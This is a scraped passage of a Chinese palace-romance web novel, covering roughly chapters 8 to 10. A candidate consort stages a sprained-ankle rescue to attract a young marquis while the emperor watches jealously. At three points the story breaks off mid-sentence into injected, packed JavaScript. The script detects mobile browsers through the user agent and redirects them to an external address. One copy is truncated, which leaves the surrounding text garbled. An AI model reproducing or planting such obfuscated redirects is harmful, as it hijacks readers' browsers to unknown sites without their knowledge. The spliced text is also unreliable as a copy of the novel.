“陛下忙得很,进宫这么多天,陛下长几只眼我都不知道。锦绣宫旁边就是御花园,进宫前我还想着能在那儿邂逅陛下,谁知道御花园那~么~大!” 崔荷没骨头似赖在亲娘肩上:“阿娘,我从前以为外埠繁昳,这辈子都不想离开。到了望京,一进宫才知晓真正的天上仙苑长什么模样。阿娘,您瞧我头上的簪子,这是陛下特赠给秀女们的,你看这大珠....” 赵柔娘摸着女儿天真烂漫的小脸,知她不明白为娘的隐忧。 形势比人强。 当年她的某些举动毕竟不体面,较真起来,夫人的死与她不无关系。 不过听到大姑娘在宫里没大前程,她放下心了。 院内凉台 秦妈妈说了一些琐碎,哪个院的谁与谁为什么事情拌了嘴动起手来挨顿揍,落在崔雪朝耳中却意趣,是某种引线,让她莫名觉得这尘世也不是无人在意她。 阿屏则是准备满满的包裹,“听人说宫里的东西分给谁都有数目,大姑娘夜里好动容易着凉,奴婢多缝了几双巾袜,还有几件小衣.....” 这么一个分神,秦妈妈小跑着抱来好大一个食盒。 “姑娘口壮,老奴瞧着您瘦了不少。是不是有人欺负您,抢您馒头了?来前蒸的红沙包,这是炖酱肘、八珍鸭肉、芜菜肉圆子...” 崔雪朝失笑起来,不扫兴地样样吃了不少。 “起先吃的尚可,后来陛下吩咐秀女们餐食规格比照妃位,吃得不比在家里差。” “妃...那姑娘能封个什么妃?” “我资质平平,评不上妃。嫁个臣子就好。” 秦妈妈腹诽,二姑娘院里的下人说了,二姑娘满心冲劲,想混贵妃当呢。她一个非老爷夫人生的,凭什么比大姑娘嫁得高? 二姑娘若是当贵妃,那她们大姑娘必定是极尊极贵的皇后娘娘! 主仆三个乘着凉风,彼此评食盒佳肴的优劣,突闻廊后传来呜呜的哭声。 阿屏过去片刻,再回来时一脸幸灾乐祸:“是二姑娘在哭!老爷从宴上回来,进门就给二姑娘甩手心板子!” 从前阿屏也是能稳住事的,一段时间不见,秦妈妈调教功夫深刻,阿屏也开始同仇敌忾了。 崔雪朝猜到父亲为何动怒。 安排崔荷落选,她走前满口应好,进宫后悖逆行事,父亲憋着气竟是连陛下的宴都提前退了。 崔雪朝坐着没动。 直到前头来人,说老爷要见大姑娘才不紧不慢地去了前院。 崔举发过气性,萎在圈椅里一动不动。 赵柔娘和崔荷一左一右跪在蒲团上,彼此靠着,偶尔抽搭几下。 崔雪朝进来,崔荷立时抬起头,目光求助。 “父亲安好。” 崔举挥手让人坐下:“她野惯了,做事没分寸,你和她一道,怎也由着她胡来?” 崔雪朝没话说。 崔举目光移向长女淡如水的面容,从这沉默中品出轻蔑和奚落。 也是,侧房带来的孩子,并不亲厚,当年还不顾长女反对执意落在亡妻名下,入宫后不暗害已是大度。 崔荷下意识觉出长姐闭口不言后,屋内的气氛不对劲。 眨眨眼,斗胆开口:“父亲莫怪阿朝姐姐,都是我自己的野心,不关姐姐的事。在宫里时,姐姐很照顾我了。” 崔举得了台阶,停住话锋。 “你心大,不肯听家中安排,觉得是我阻了你的好前程。既如此,我便由着你去闯。你若真有本事,封个妃嫔鸡犬升天。若落选,我会给你选个殷实厚道的外官,离开望京。” 对崔荷而言,这是很重的惩处。 她难以置信:“以后我都不能见阿娘了吗?” 赵柔娘要求情,崔举却抢她开口。 “知女莫若母,你明知她昏头,竟敢帮着遮掩!” 一拍椅背:“你也要罚。她落选外嫁,侧室的位子你就坐到死!” “老爷!!!” 崔举丝毫不心软,愤怒地踢开她扑上来的身影,崔荷急忙伸手将阿娘抱住免得摔倒地上。 秀女们人人都想升天,家中父兄实在殷盼能有位后妃,好借势青云直上。她不明白为何父亲这么生气。 她只能想到自己非亲生,隔着血,不是亲爹不肯真心为她筹谋,见不得她好。 “那我要是选上呢?” 崔举停在门边,回眸看她:“你说什么?” “那我若是选上呢?若我选上,您会扶正我阿娘,做整个崔府名正言顺的夫人吗?” 崔举看向长女,见她一贯淡然的眉宇凝结冰霜,与亡妻极为肖像的眼眸直勾勾地望着自己。 “等你入选再说。” 丢下这话,他匆匆避走。 厅内母女两个抱在一块哭得上气不接下气,崔雪朝淡淡地望着她们。在想是不是过往自己脾性太软? 歇觉的崔鼎这时听见响声来了,进门见姐姐阿娘哭做一团,立时啸着嗓子加入其中。 崔雪朝让出厅堂,恰好时辰尚早,不在院里,去原上寻个景致不错的地方走走也好。 臣下家眷们的居所集中在长原南边,汤泉宫靠东,中途有一段路会经过假山群,陪行的宫人依稀听见崔大人发火,不知内情,瞧崔家大姑娘不开心,主动指了一处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398467|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“从石径上去有个大鲤池,红彤彤的看着很喜庆,姑娘要去看看吗?” 那就去看看。 鲤池不是一个圈出来的地,是因山势天然斧成的蜿蜒造景。山涧上的活水贯通而来,加之内监们提前以饵料肥养过,红白黑的鲤鱼个个有臂长,撒点饵料水面涟漪,乌泱泱卷上来扯口抢食,那场景瞧着...渗人。 崔雪朝撒完从内监手里买来的饵食,兴罢离去。 行至一半,突听假山壁靠那头有人在喊小心,有些耳熟,宫人探头,崔雪朝怕误入什么秘事,加快步伐。 越靠近出口,喊声越发清晰,是高家二姑娘柔美的嗓音。 “汉王殿下...” “汉王殿下...” “汉王殿下您在哪儿呢?快出来吧,莫要逗弄臣女,臣女认输了!” 汉王... 崔雪朝快得要跑起来了,出口就在眼前,已然能听到外头长原上马蹄轰隆的响声,恰这时,山道上突然跃出一个矮小的人影。 宫人啊的惊叫出声。 崔雪朝反应灵敏,侧身一躲就能避开。 只是她安然,跃下来的人必然要摔个结实。 本能比脑子更快地驱策她敞开怀抱把人接住,重力惯性以身为盾咚得摔个倒仰。 “崔姑娘,您没事吧?” 宫人忙上前搀扶。 崔雪朝抿着嘴吞下痛呼,这边动静引得高二姑娘有了方向,她三两下把怀里孩子上下揉巴了一圈,“没嗑着吧?” 小孩不知是不是被吓到了,眼神呆呆的,盯着崔雪朝不说话。 “这是汉...” “嘘!” 崔雪朝示意她安静,确认孩子身上没伤,卡着咯吱窝把人举到平道上:“等那边那个...” 一时不知想不出好的称谓,“就和你玩捉迷藏的那个。不许动,等她过来,好吗?” 孩子眼睛亮晶晶的,因为被抱着咯吱窝举高,咧嘴笑出光秃秃的两个豁口。 崔雪朝:...... “你敢乱动乱跳,仔细宫人去你父亲跟前告状!” 小孩不笑了。 吓住了人,崔雪朝领着宫人窜得飞快,转眼消失在假山群外。 山群之巅飞檐阁楼轩窗洞开,有道身影挺拔如松,璀璨夕阳投映在他眼底润了一层暖色,目光依依落在长原上那道灵动如兔奔跑的身影上。 身影下了长坡,乾元帝收回视线,叠嶂山道下,高氏女蹲在幼子身前,动作温柔地拍着他裤脚位置。 山道冲洗过,少有尘埃。 宫人总不会苛待他唯一的子嗣给穿有污垢的衣衫吧。 拍给他看呢。 乾元帝暗嗤,看高氏女与幼子说了片刻话,拐上山道朝着楼阁而来。 山道陡峭,高氏女中途伸手示意幼子去牵。 幼子不知大人做戏,乖乖给牵。 高氏女说了什么,乾元帝观其口型,应是在说‘殿下真懂事’。 懂事的汉王殿下被高氏女牵着,行在艰险的山道外侧。 几个窄处,幼子走得踉跄,胳膊吊直像个垂线布团,跟在后面的宫人几番伸手去护都被高氏拒开。 ‘放心,殿下有我护着。’ 乾元帝:..... 高家买通宫人探问幼子行踪,是为在他面前露脸占个先机。脸没露好,结果把..... 乾元帝忆起方才被幼子飞扑本能舍己的身影。 高氏女矫揉做作之音快把整个山群喊裂开了,她不可能不知道自己怀里是谁。 救下汉王,站在原地等高氏寻来,再有宫人证词,泼天美名。可惜,她太懂分寸,高氏费心经营的机缘在她眼中怕是一文不值。 如此看,她对朕的渴求倒有几分高洁 8. 第 8 章 高二姑娘明显是以汉王殿下为登天梯,为秀女终选提前铺路。 先前真是惊险,高家姑娘若是知晓她在场,巧不巧合的,万一误会自己想入宫,那就不妙了。 崔雪朝给那宫人一小包金珠,“方才不便展露身份,劳你跑这一程。” 宫人听出她话外之意,未推辞这份略沉的辛苦钱。 回到汤泉宫坐下不久,崔荷红着眼眶进门。 屋中只有她们二人,崔荷觉得被人看了哭闹,脸上难堪,捂着被子本想躲人,结果一不小心睡着了。 酉正,领事嬷嬷点名,确认每位秀女已归宫室。 春狩第一场盛宴在戌时开始,众位秀女们忙着穿戴新分到手边的鲜衫,搭配头面,这是众人第一次得见天颜,都想在陛下跟前留好印象。 崔雪朝依旧是不出挑的衣着,高高的仙髻本就考验女子端仪,稍有松懈,领事嬷嬷们的眼刀就飞至面前。 她翻着送来的珠宝匣,鎏金镶银的玉步摇钗、嵌着十几颗莹珠的簪钗、雍容胜盖国色的牡丹绢花...哪一样都是华贵的折磨人玩意! 罗姑娘看她为难,眼神飘过来,“咿?你这盒首饰...” 崔雪朝疑惑看她。 似乎是比其他人的都要工艺繁复更耀眼夺目些。 罗姑娘没说完,万一是她不懂宫匠手艺,惹来非议不好,“是不好选吗?” 她能猜到崔雪朝的打算,知晓她并未争奇斗艳的心思,“那对孔雀衔花的小冠配你。” 崔雪朝听她良言,又配了一对儿红眼石的耳珰。 崔雪朝跟在队伍最后踏上雀台白玉石阶。灯花千数,姑娘们隔着幕篱打量起来,人流如织,宫人们提着笼灯引路,祥和气氛中有条不紊地落座候席。 秀女们并不探头探脑,端着累人却美丽的坐姿或含蓄浅浅呷口凉茶润嗓或淑女浅笑与同宴的家人颔首示意。 戌正铜锣缶器齐鸣开宴,有内监嘹亮尖细的嗓音震得人心头发颤,是江山新主,大乾开朝的帝王到了! 殿内群民齐齐起身,朝中廊御道叩首,山呼万岁。 脚步声自殿外而来,甲胄锵音相随,那种帝王之威纵然不曾直身亦让没见过什么大世面的姑娘们恭谨万分。 内监呦起,众人谢恩,衣料簌声过后,高坐御座的乾元帝示意开宴。钟鸣鼓乐海浪般瞬间涌入雀台。 宴酣正中,胡部使者提出与今日军武演的将官们比赛。 崔雪朝捻着盐渍葡萄干看得十分开眼。 身周的秀女们则是互通有无,报名号请赛的大多是武将,有从龙之功否,谁家门庭有几口人食邑深浅俸禄高低... 云云说着,直到又来一人,俶尔消声。 安勇侯魏亭,生来一张与他封号并不相衬的儒雅面。 团青色宴服裹藏身躯,爽朗清举,有朗月入怀般的芝兰骨,却在挽弓的刹那,锐成宝剑,那英挺的眉眼瞬间成了掉线的钩子,秀女们看得两眼放亮。 “如斯俊美,还论什么出身。” “就是就是!” “这个我也喜欢!”——“你怎么个个都喜欢!” 连轻蔑过安勇侯的高家姑娘也不免俗地多看了好几眼。 铮然嗡鸣,飞箭上靶。 秀女们惊呼好厉害好骁勇。 崔雪朝:...... 他都射偏了,再歪半寸,地上云毯得破个口子才行。 见那新封的侯爷也未料到自己这般丢人,云白的俊脸红得像喝醉了。与那日甬道被同僚揶揄取笑时红得不相上下。 孤高如日的帝王这时下了丹璧。 秀女们立时把新好安勇侯甩至云霄,恨不得脖子能伸出二里地,再绕着雀台环一圈,全方位细致地看清陛下是黑是红。 周正、硬朗、凌厉、肃杀... 一切有关于硝烟沙场的词风都具象化,他站在那里,公侯膝地请罪,玄黄衣袍绣满九五龙纹,威仪如炬,语气平淡却带着令人窒息的压迫感:“朕,亲自来。” 羽箭搭弦,下一瞬势如闪电直破石靶。 铮音断,靶心处唯那一支,胡部使者的箭一分为二,狼藉落地。 天命所归。 崔雪朝心道。 高二姑娘眼中盈满激动,这才最能般配她的夫君。 崔荷艰涩地咽口唾沫。 她心底寒意一阵阵往上涌,戮了满宫廷内监的人躺在身侧,她能安心入睡吗? 后宴秀女献艺。 崔荷心不在焉,长筝按错好几次,惹得同台的姑娘们含恨怒视。 崔雪朝不在献演之列。 趁端上食案的荤食没凉透,不动声色地落筷,估计宴忙,宫人们记错上菜的顺序,有几道她尝着不错的重复摆了一回。 御厨的手艺确实不俗! 一夜过后,秀女们还在绘声绘色地讲述昨夜看到的稀奇。 崔雪朝却已明达目的,今日云霞蔽日,最宜骑马,打听过了,安勇侯魏亭今日轮巡防务,她得去撞个邂逅。 要如何不落痕迹地把人引到手呢? 话本上的男女看对眼之前,都得来一场惊险有余唯美满满的英雄救美。 如何让安勇侯恰好救她一遭,这...倒也不难。 昨日那假山群就很不错。 春狩大典,陛下给的彩头很重,头名竟可升迁一级! 如雷的马蹄声狂风般卷向提前圈划放了猎物的围场。 秀女们没人动,木栏圈出跑马的道独属官眷,领事嬷嬷们很有头脑,给秀女们设下骑术校考,还在陛下面前请命,头名能封乡君! 崔雪朝感慨这位陛下的乐善好封,第一轮就被淘汰出局。 崔荷:“姐姐别沮丧,我一定能争来头名!” 又问:“乡君会有封地吗?不用太大,京郊十来亩就成。” 崔雪朝一言难尽地看着她发魔:“...只有银子,一年五十两。” 崔荷哦了声,五十两也不少。 趁众人注意力都在骑校考上,崔雪朝悄遁到假山群,左右看看没人,咯噔扭了下脚踝关节。 她的右脚少时断过,好得并不合缝,使个小劲立时浮肿。 再过片刻,钟楼击钟。 正点巡防轮换,安勇侯负责这一片,是上宪,会跟着巡逻队伍。 侍卫走路声音传来,崔雪朝急忙把脱了巾袜的脚掌从裙下露出一点,深色石道白玉香足,一黑一白很香艳! “有人在吗?” “有人吗?” “外面有人吗?” 崔雪朝夹着哭嗓求救。 “是什么人?”男子威厉的声音传来。 “呜呜...是宫监吗?”崔雪朝把提前沾过姜汁的巾帕捂在眼上,辣得满脸水痕:“你能进来帮帮我吗?” “呜呜...我方才不小心从山道上摔下来,骨头摔断了!...” 听起来好严重的伤势。 魏亭怕耽误,示意侍卫去寻医士,疾步绕过假山,直奔哭音传来的方向:“我已让人去寻医士.....” “啊!!你是什么人!” 楚楚动人的姑娘睁着哭红的双眼,瞧见配刀的高大男人冲至面前,吓得直往后躲,魏亭瞥到那白得像雪一样的足,猛地面朝山壁,耳后发红,努力镇定表明身份:“姑娘莫怕,在下负责今日巡防,方才听你求救,一时心急进来不慎冒犯.....” 姑娘小兔似的娇滴滴道:“大人,外面没有宫人吗?” 魏亭被一声大人叫的耳朵直发痒:......忘了。 “我这就去寻宫人来!” 他正欲离开
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398468|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “大人能再为我寻一匹马来吗?我是住在汤泉宫的秀女,伤势不便行走,靠宫人搀扶,我...我要走好久才能回去。”背后姑娘嗓音卷了糖霜一样,说着说着又哽咽哭了。 “我去牵马来。” 魏亭顿了下,“你先别哭,看你方才动作,腿应该没摔断。” 崔雪朝:...... “多谢大人。” 片刻后宫人和医士到了。 医士察看过,“骨头无碍,抹些伤药,明天就能消肿。” 崔雪朝感激地谢过医士。 宫人扶她一瘸一拐地踩着小凳翻上马背。 “今日多谢大人施救。” 马背上的姑娘秀眸如水,面颊透出淡淡的粉色,笑容娇羞道:“您是昨夜大宴比试箭术的魏大人吗?” 魏亭想起自己昨夜逊色的表现,羞愧地没脸看人:“我...我就是,但我平常不会...昨晚只是太过紧张......” “我紧张时写字也会手抖,大人不必太过自责。” 崔雪朝:“那般场合,大人挺身而出也很英勇。” 魏亭不知说什么,干巴巴的哦了声。 “我箭术不足,教导的嬷嬷说有些人生来笨拙,我心里不服气。若是明日大人得暇,我能拜托大人指点指点吗?” 魏亭想了想明日,“怕是不得空,我明日打算入林为幼妹猎兔子。” 崔雪朝:...... 所以这人二十六没能摸过姑娘的手也是活该! “那好吧。往后总会有旁的机会的。” 她把语气中的失落加重十倍。 宫人牵着马走出几步,崔雪朝正想送个‘三分羞涩三分心动四分未料到被人发现回头的紧张’的复杂眼波,谁知身后空地那人已经朝着巡伍奔去。 …… “大人,那姑娘是哪家的呀?” 魏亭:“...没问。” “大人,那姑娘还在回头看您呢!” 魏亭:忍住不动 “大人,那姑娘不正是那日甬道上朝着您笑的那个?” 魏亭回忆,一双噙着笑意的眼眸,一双白得... “大人,她方才在跟您说什么呢?” 魏亭正要开口,奔来一个气喘吁吁的童公公:“魏大人,陛下在找您呢!” “陛下找我有何事?” 童公公擦着额间的汗,“奴才不知,陛下只说要见大人,很急!” 魏亭翻身上马,一盏茶的功夫到了御帐回话。 “你方才做什么呢?” 魏亭:“回陛下,臣方才在巡逻。” “混账!朕分明瞧着你借巡逻之便,在与一女子言笑晏晏,怎么?敢做不敢当吗?” 魏亭噗通跪下:“陛下容禀,臣并未玩忽职守,只是巡逻途中偶遇那女子求救,寻宫人送她离开。” 乾元帝睨视他认真严肃的侧脸,半晌:“起身吧,瞧把你给吓的。朕是在诈你,不会治你罪的。” “春日风景好,男女暗生情愫约好漫步,不是什么坏事。若是魏老夫人知道,会同朕一样高兴的。” 魏亭:“陛下,臣冤枉!臣真的是路过,顺手搭救那位姑娘,并不是约在那里见面的。” 乾元帝看他急赤白脸地辩解,“那你就同朕把搭救这位姑娘的经过,你说了什么那姑娘又回了什么,前前后后都跟朕说一遍!” 魏亭道一声遵命。 直到说起那姑娘临走前拜托他指点箭术...... 乾元帝:“还敢说自己冤枉!” 这蠢东西,木鱼敲烂了都没用,“那姑娘分明心悦你才约你明日相见。什么捉兔给幼妹,朕不准你去!” “明日你早早来朕身边当差,等那姑娘出现,你就过去好好指点人家。” 9. 第 9 章 望京适龄未婚男子中,不死究门第长相,崔雪朝偏重看对方家中人丁。人丁简单相处起来能少些龃龉。 安勇侯魏亭少时丧母丧父,由魏老夫人抚养大,除了一位年仅十二岁的妹妹,再无旁人。当日迁族进京,还有两房叔叔,另在望京置办房产,不曾住在安勇侯府。 安勇侯心性纯直,跟在陛下身边领军打过仗,月前传言陛下要让他掌京畿大营,可惜他出身不高手腕生涩,与京畿将官们处得不好。 “魏侯爷怕是没缘赴任京畿守备大将。但陛下看重他,这般年轻不会让他坐冷板凳。前朝的御监司不是被陛下裁撤了嘛,陛下大朝时颁旨组建锦职司监防天下舆情,有意让安勇侯任副使。”某位秀女透露道。 此一言出,本就因魏侯爷优越长相有意的秀女们越发心动。 趁着众秀女无暇他顾,崔雪朝不动声色地先上演一场英雄救美。可惜魏侯爷不甚解风情,白搭上一次扭脚的辛苦。 但她并未气馁。 一次不上钩,就再想一出。 春狩第二日 柱国公府国公夫人开了一场壶艺赛,各家女眷踊跃参与,秀女们自然不会放过此等露脸机会。 赛事精彩,高家二姑娘与罗家姑娘斗得不相上下,喝彩声传至御帐,陛下领着几位心腹大臣出现在高台上观赛。 崔雪朝一个手误输给某个秀女,羞愧地以袖遮脸碎步跑向某处角落。岂料刚站定,看清守在那侧的人,惊愕地眨下湿漉漉的眼睛:“大人?” 魏亭耳后发红:“姑娘伤好了?我...我今日......” “大人不是为幼妹去捉兔子了吗?” 细碎的光透过树桠洒落在姑娘乌黑的长发上,乖巧无辜的眼眸一转,突然浮现一抹难堪:“大人昨日是在骗我?什么捉兔子,是害怕我缠着大人不放吗?” 魏亭忍不住脚趾扣地,看着姑娘垂泫欲泣,手足无措,“不是!我原本就是要去的,只是陛下说......” “陛下临时让我当差.....” “姐姐!” 崔荷提着裙摆风一样冲到跟前,“快些来!陛下领着好些臣子们来围看射壶赛了,你不是要给自己择夫婿嘛,去的晚了就见不到人了!” 魏亭尴尬,走又走不了,站着听姐妹说这种私密话,有失风范,只好仰着头看树梢上的绿叶假装自己是个聋子。 “你先去吧,我与魏大人有几句话说。” 崔荷这才发现还有旁人,认出是谁,原本为姐姐着急的眼神立时笑出小缝:“原来是我多事了,姐姐你什么时候跟魏大人.....欸?” 她揉揉被掐的胳膊,在崔雪朝的瞪视下终于走了。 “舍妹年轻,说话随心惯了,还望魏大人莫怪罪。” 魏亭唔吱了下。 崔雪朝见他脸上的红意一路蔓延至脖颈,玄色圆领袍衣领衬得他红似翡,虽是刻意为之,她也难免生出一丝真情:“大人可还记得入城那日的情形?” 魏亭这才垂眸看她。 “您护送家眷入京,同日我奉父亲之命归京备选秀女,是跟在您家车马后头前后进城的。” 崔雪朝露出温婉的笑容:“大人骑马挽枪花的英姿,一直留在......” “魏大人!” 尖而锐利的喊声横断崔雪朝即将出口的袒露,城门意外初见一眼心动,再见时宫廷偶遇,英雄救美,美人心生情愫,加之身份作配...今日一举拿下安勇侯夫人之位,不在话下! 可惜,总有意外。 崔雪朝看着神情紧张奔过来的陌生内监,客气地行礼让开几步。 “童公公?” 童公公心要抖碎成八瓣儿了:“魏...魏侯爷,陛下找您有急事!” 魏亭不敢耽搁,临走前不忘礼貌地对一侧站得像朵荷花的崔雪朝告别:“我箭术不行,枪法略可。你要是喜欢的话,等会给陛下办完差事,我耍给你看看。” 童公公根本不敢想那场景有多可怕:“侯爷!快些走吧!” 再缠绵下去,耍枪?回家耍泥巴吧。 魏亭与死命催的内监走了。 崔雪朝掏掏袖子,翻出一个模样别致的暗色荷包,本来以为今日功成身退,把这荷包送出去,之后给家中通个气,安勇侯上托冰人上门提亲。 可惜只差一点。不过想想魏大人最后的话,未必功败垂成。 她提步回场。 崔荷一脸暧昧,在崔雪朝避而不答的应付下总算收敛些,“高二姑娘射艺得了头名,后院夫人们围在高家母女跟前赞叹不休,幸好陛下提议与京门子弟斗马球,要不然真是没完没了。” 赵柔娘见识有限,高门夫人们为崔家次辅之身不会为难她,却也隔着生分不肯与之亲近,连带着崔荷跟在亲娘身边只能僵着脸赔笑。 “怎么突然要打马球?” 崔雪朝隔着人墙看了几眼,只是阳光太盛,看不清楚帝王真容,倒是马上身形挺拔魁梧,比昨日大宴上见到的多了些意气,不那么有距离感了。 “看看困在屋子里看奏本,肯定无聊!出来透透气打打马球活泛活泛筋骨,正好见见秀女们,这里头将来都是他的妃嫔,看顺眼多些,保不齐位份也高。” 崔雪朝听了,有些索然。 “你看吧,我有些累了,去闲廊下避避太阳。” 崔荷摆摆手,这时候也忘了陛下的狠辣行事,游鱼似的扎进人堆冲到最前边。心旌摇曳,一扭脸,高二姑娘不快地瞪着自己。 “看什么,我又没多长一只眼。” 她嘀咕一句,转瞬专注地凝望斗马球。 那圆圆的一颗球飞虎流星在各位健儿杖下翻飞。 半场过后,魏亭揉着酸麻的肩颈疑惑地望着帝王方向。陛下像是在生什么人的气,只是一场娱斗,球风打得凶猛,好几次擦着他耳际过去。 “侯爷,陛下力气太大,冲起来有当年杀敌的态势,我等想不着痕迹地输一场却不得不尽全力,要不咱们下半场直接认输吧?” 硬挺着只是找罪受,结果不会有什么改变的。 某个队友建议道。 魏亭一想也是,干脆利落地挂了白旗。 场外立时有吁吁的倒喝声。 魏亭一行脸上挂不住,被召至乾元帝面前,跪地称辜负陛下厚望。 乾元帝冷淡地看了某个黑沉沉的头颅片刻:“起吧,一场娱斗,辛劳诸位陪朕解乏了。” 问过几句闲话,乾元帝留下魏亭说话,“方才同你说话的那姑娘,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398469|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨日那个?” 魏亭嗯了一声:。 “你们聊什么了?” 魏亭挑拣重点:“她喜欢枪,臣恰好会点,答应等会儿给她耍一回。” 乾元帝微哽下呼吸:“......枪?” 魏亭:“她说当日臣进城时见过臣用枪。” 乾元帝:“你枪术...算了。朕问你,你知道那女子是谁家的吗?” 魏亭摇头:“尚来不及问。” 不知名姓,就站在一块说话,还说了两回!成何体统。 乾元帝知晓崔雪朝心性,连汉王的路子都不肯走,又怎会不矜持地跟魏亭相交。 是魏亭的错。 这小子看着浓眉大眼,一提姑娘脸红得猴腚样,谁知道背地里什么放浪模样? 乾元帝:“你一大好男儿,既应承了要给姑娘耍枪便不好违誓。私下相见未□□言,这般,上夜炙猎会,朕准你上场助兴。” 魏亭不觉哪里不对,神情恭敬地拱手谢恩。 巡猎三日,每晚归宫,猎物统算后交由御宴手,篝火炙猎会上群臣分宴。 魏亭只吃了半条烤羊腿就被喊到空地上耍枪了。 他特意穿了一身利落的青色劲装,拱手转了一圈,眼神流转到秀女长案处,与崔雪朝温和的视线撞在一块。 “魏侯,开始吧。” 乾元帝威严的声音响起。 魏亭不再耽搁,以一招游龙入水为始,在铿锵军鼓阵乐中,似一道跃入山林的猛虎,带着不容小觑的魄力凌厉又俊美地游动在场地中间。 乾元帝移开视线。 篝火照亮空地,诸臣宴酣形容轻狂地举樽互敬,宫人垂立,似袅似丝的烟雾朦胧在眼前,但他只一眼便发现人群不显眼处的崔雪朝。 她似乎总是躲在人后。 昨夜宫宴,以崔家之女的身份,她却坐在秀女末席。今日马球娱赛,她远远地站在长廊末,台阶处垫脚看的宫人甚至过分地遮住她半张丽容。 袁望怀疑她根本没看清自己的脸。 这对吗? 她小心翼翼、怯生生的,为身份悬殊而产生的疏离与陌生,乾元帝眉头蹙紧。 崔雪朝不过是比其他秀女多过一重无关紧要的婚事,崔家贵女何须忍受宫人和秀女们的无端排挤! 但她好像也平静地接受了这种对待。 朕不许她妄自菲薄。 乾元帝心里很不舒服。 恰这时,崔雪朝放下手中汤碗,稍偏一下,越过人群看了过来。 袁望莫名移开目光,下一瞬,心里奇怪,朕乃天子,躲躲藏藏是何道理! 他重新不着痕迹地把目光看过去,这回终于看清了。 只是瞬间觉得整个人不好了。 灯火阑珊,千万人阻隔,她执拗地望着朕,眼里泛着泪花。 她哭了? 为何?是什么人欺负了她? 还是...... 高首辅领着聘聘袅袅的家中闺女过来请安了。 乾元帝眼底渐冷,崔雪朝她莫非是在怪朕与高家女走得近?要不然那眼泪作何解释? 仗着自己对朕有情便想独霸? 袁望压住嘴角的弧度,看高家二女时烦躁不已。 10. 第 10 章 崔雪朝含蓄地打个呵欠,困倦的眼里泛起泪花。 安勇侯的枪耍得真带劲,就是晃得眼睛发昏,更想睡觉了。 不过在魏侯爷展示完自己的英姿后,崔雪朝立时浮现崇拜的小女儿神态。 乾元帝斜一眼雄孔雀似的魏亭,沉默地听完高家二女对他的吹捧和隐晦爱意。 “高卿如姜如桂,你这女儿倒和你不太一样。” “朕忙于政事,不曾垂问宫人,高二姑娘住得可还习惯?” 高二姑娘腼腆一笑:“初时.....幸而有同屋秀女......雅课清苦,我本......” 乾元帝心不在焉地听着。 繁琐异常的女儿家小话,高首辅偶尔插一嘴‘陛下莫怪’,某句话后,他突然冷了神色:“倒是宫规森严委屈了你。” 那端崔雪朝被崔荷拉着站到魏亭桌前,那里已经围了好几个秀女在,她们两个过去并不明显,乾元帝周身俶尔泛起冷意。 高二姑娘还愣着,高首辅已跪下请罪,看父亲如此,女儿唰得白了脸腿软地跪下:“陛下恕罪,臣女说错话了。” 天子发怒,火热的篝火场瞬间静得听不到声音,气氛凝滞,乾元帝见崔雪朝微蹙眉峰似有畏惧地将自己藏在魏亭身后,握在身后的拳头攥紧,语气却格外轻描淡写:“高卿请起,只是一时叙话,不必太过紧张。” “崔卿何在?” 崔举立时撵步而来:“微臣在。” “此次巡猎,听闻崔卿之女骑术甚佳,讨了乡君的封号,崔卿教女有方,人在何处,上前来给朕看看。” 灰溜溜退下的高氏父女闻言齐齐脸色难看起来。 再没有比眼下这般还难堪的悬殊对待了。 “父亲,女儿不是有意要提魏家姑娘一事......” 高首辅面容很快恢复一贯的从容,回到长案坐定,声如蚊响:“有意也罢无心也好,错便是错。陛下心思难测,稍有不对立时就会发作,你侥幸沾了家门光不受惩戒,往后定要谨言慎行!” 他看着高台上陛下和颜悦色地与崔家人说话,何尝不知这也是陛下把持朝堂的制衡手段。 看来崔氏要出一个贵妃了。 “回宫之后,管住自己的脾气,尤其是在崔氏女面前。” 高二姑娘眼底含泪,屈辱地应是,抬眼时,咬牙切齿地瞪着崔二笑成一朵烦人的桃花。 “陛下所言当真?”崔荷紧张又激动:“当真任由臣女挑选明日一同入林的人吗?” “朕乃天子,一言九鼎,你骑术不俗,不须拘泥于长原之地。听你话音,已有意中人选?朕见你方才与魏亭相谈甚欢,可是选中了他?” 崔荷急忙摆手,下意识瞥眼长姐的方向:“方才...” 崔雪朝抬眼淡淡看她,崔荷瞬间冷静下来:“方才只是路过,不曾相谈。我...我...”她大着胆子觑天颜,帝王眼眸如鹰似狼,她心头发颤:“我......” “魏亭呢?” 魏亭很快过来请礼。 乾元帝看他起身后眼睛不老实地看了好几回崔雪朝的方向,心里冷哼:“耍了枪怎么不来朕面前讨赏?是在等朕请你来?” 魏亭说不敢:“雕虫小技,给诸位添个兴致,哪里有脸跟陛下讨封赏。” 听见没?雕虫小技。 